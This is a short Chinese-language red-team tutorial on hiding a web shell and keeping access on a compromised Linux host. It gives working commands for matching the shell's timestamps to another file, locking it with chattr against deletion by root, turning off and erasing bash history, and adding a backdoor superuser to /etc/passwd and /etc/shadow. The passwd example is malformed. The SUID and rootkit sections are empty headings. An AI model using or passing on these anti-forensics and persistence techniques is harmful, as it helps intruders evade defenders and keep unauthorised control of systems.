一、修改文件/终端的属性
1、修改文件创建时间
如果蓝队是按照文件修改时间来判断后门的话,比如现在我们上传一个shell,可以看到shell文件与原文件的时间是不同的
解决方法:
touch -r teamserver shell.php
现在再来看原文件与shell文件的修改时间,就会看得到执行命令后的shell文件时间与原文件一致了:
Linux touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。ls -l 可以显示档案的时间记录。
2、文件锁定
在Linux中,使用chattr命令设置文件属性,使得root用户和其他管理员用户也无法修改删除文件,此权限用ls -l是无法查到的,达到隐藏权限的作用。
chattr +i shell.php #不得任意更改文件或目录
lsattr shell.php #虽然ls -l无法查到,但lsattr可以显示文件属性
当我们执行了chattr命令后,即使是root权限也不能删除或者移动文件
解除锁定属性:
chattr -i shell.php #解除属性
lsattr shel.php
这时候才能作改动
3、历史记录
在Linux系统中,使用history命令可以查看历史记录,如何能让自己的操作不被记录在历史记录中呢
解决方法1:关闭历史记录
[space]set +o history #[space]表示空格,加一个空格在前面,这条命令就不会被记录
在执行了这条命令之后的所有操作都不会被记录,知道解除关闭历史记录
set -o history #恢复系统环境
(测试了下,只要在命令前加一个空格,都不会被记录到history中,这也算一种解决方法噢)
解决方法2:删除历史记录
history -c #清除本次留在缓存中的所有操作记录
但其实在 ~/.bash_history文件中记录了所有的操作记录,想要删除的更彻底的话,可以直接删除这个文件里的记录
大规模删除,只留.bash_history文件中的前十行:
sed -i '10,$d' .bash_history
4、passwd写入
/etc/passwd 各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
/etc/shadow 各部分含义:
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
栗子:
1、增加超级用户
root@kali:~# perl -le 'print crypt("jiuguan","salt")'saZgF2xQK4016
root@kali:~# echo "jiuguan:saZgF2xQK4016:hacker:/root:/bin/bash" >> /etc/passwd
2、如果系统不允许uid=0的用户登录,那么可以增加一个普通用户
root@kali:~# echo "jiuguan:saZgF2xQK4016:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
二、SUID后门???
三、LKM Linux rootKit后门